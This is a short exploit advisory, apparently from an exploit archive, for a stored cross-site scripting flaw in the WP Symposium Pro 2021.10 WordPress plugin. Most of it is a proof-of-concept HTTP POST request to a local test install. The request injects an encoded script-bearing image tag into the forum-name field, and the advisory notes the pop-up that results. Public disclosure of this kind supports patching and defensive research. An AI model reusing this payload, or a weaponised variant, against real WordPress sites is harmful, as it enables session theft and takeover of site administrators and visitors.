WordPress Plugin WP Symposium Pro 2021.10 - 'wps_admin_forum_add_name' Stored Cross-Site Scripting (XSS)

# Exploit Title: WordPress Plugin WP Symposium Pro 2021.10 - 'wps_admin_forum_add_name' Stored Cross-Site Scripting (XSS)
# Date: 11/11/2021
# Exploit Author: Murat DEMIRCI (@butterflyhunt3r)
# Vendor Homepage: http://www.wpsymposiumpro.com/
# Software Link: https://wordpress.org/plugins/wp-symposium-pro/
# Version: 2021.10
# Tested on : Windows 10
#Description: WP Symposium Pro version 2021.10 plugin was exposed to stored cross site scripting vulnerability due to lack of sanitizing adding forum speciality and its "name" label. 

#Poc:

POST /wordpress/wp-admin/admin.php?page=wps_pro_setup HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/wordpress/wp-admin/admin.php?page=wps_pro_setup
Content-Type: application/x-www-form-urlencoded
Content-Length: 129
Origin: http://localhost
Connection: close
Cookie: wordpress_bbfa5b726c6b7a9cf3cda9370be3ee91=admin%7C1636828443%7CvIYW2N7MvOinijMOx1nLkLNysDvFz33pkuJcGyuQq56%7Ca0ec8384ede32940d2b69f1082cc013aecf3e887a70485cb38229a405be8a12d; wordpress_test_cookie=WP%20Cookie%20check; wp-settings-1=libraryContent%3Dbrowse%26mfold%3Do%26posts_list_mode%3Dlist; wp-settings-time-1=1636654062; wordpress_logged_in_bbfa5b726c6b7a9cf3cda9370be3ee91=admin%7C1636828443%7CvIYW2N7MvOinijMOx1nLkLNysDvFz33pkuJcGyuQq56%7Cd9daf69cf25e68a3ed54d94c4baa78d20f9772e986211e25656dd832aac6e544
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

wpspro_quick_start=forum&wps_admin_forum_add_name=%3Cimg+src%3Dx+onerror%3Dconfirm%281%29%3E&wps_admin_forum_add_description=test


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## After adding new forum, click created forum and pop-up will be on the screen.